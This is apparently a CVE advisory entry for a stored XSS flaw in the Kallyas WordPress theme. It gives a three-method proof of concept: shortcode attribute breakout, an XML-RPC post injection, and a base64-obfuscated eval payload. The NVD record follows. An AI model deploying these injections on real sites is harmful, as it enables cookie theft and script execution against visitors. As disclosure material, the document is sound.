CVE-2025-6988

<!-- WordPress Kallyas Theme XSS PoC - Contributor Level Access Required --> <!-- Method 1: Using Shortcode in Post/Page Editor --> [zn_shortcode attribute_name='" onerror="alert(document.cookie)" x="' /] <!-- Method 2: Injecting via XML-RPC API --> <methodCall> <methodName>wp.newPost</methodName> <params> <param><value><int>1</int></value></param> <param><value><string>attacker_username</string></value></param> <param><value><string>attacker_password</string></value></param> <param> <value> <struct> <member> <name>post_content</name> <value><string>[zn_shortcode attr="'><script>alert('XSS')</script>"]</string></value> </member> </struct> </value> </param> </params> </methodCall> <!-- Method 3: Direct attribute injection --> [some_affected_shortcode custom_attribute='" onfocus="eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))" autofocus="']

{"cve": {"id": "CVE-2025-6988", "sourceIdentifier": "[email protected]", "published": "2025-11-01T08:15:32.403", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The kallyas theme for WordPress is vulnerable to Stored Cross-Site Scripting via several of the plugin's shortcodes in all versions up to, and including, 4.23.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://my.hogash.com/changelog_category/kallyas-wordpress-theme/#4-24-0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/89f4d353-bb6a-4520-bb3e-a0121fb4bf9b?source=cve", "source": "[email protected]"}]}}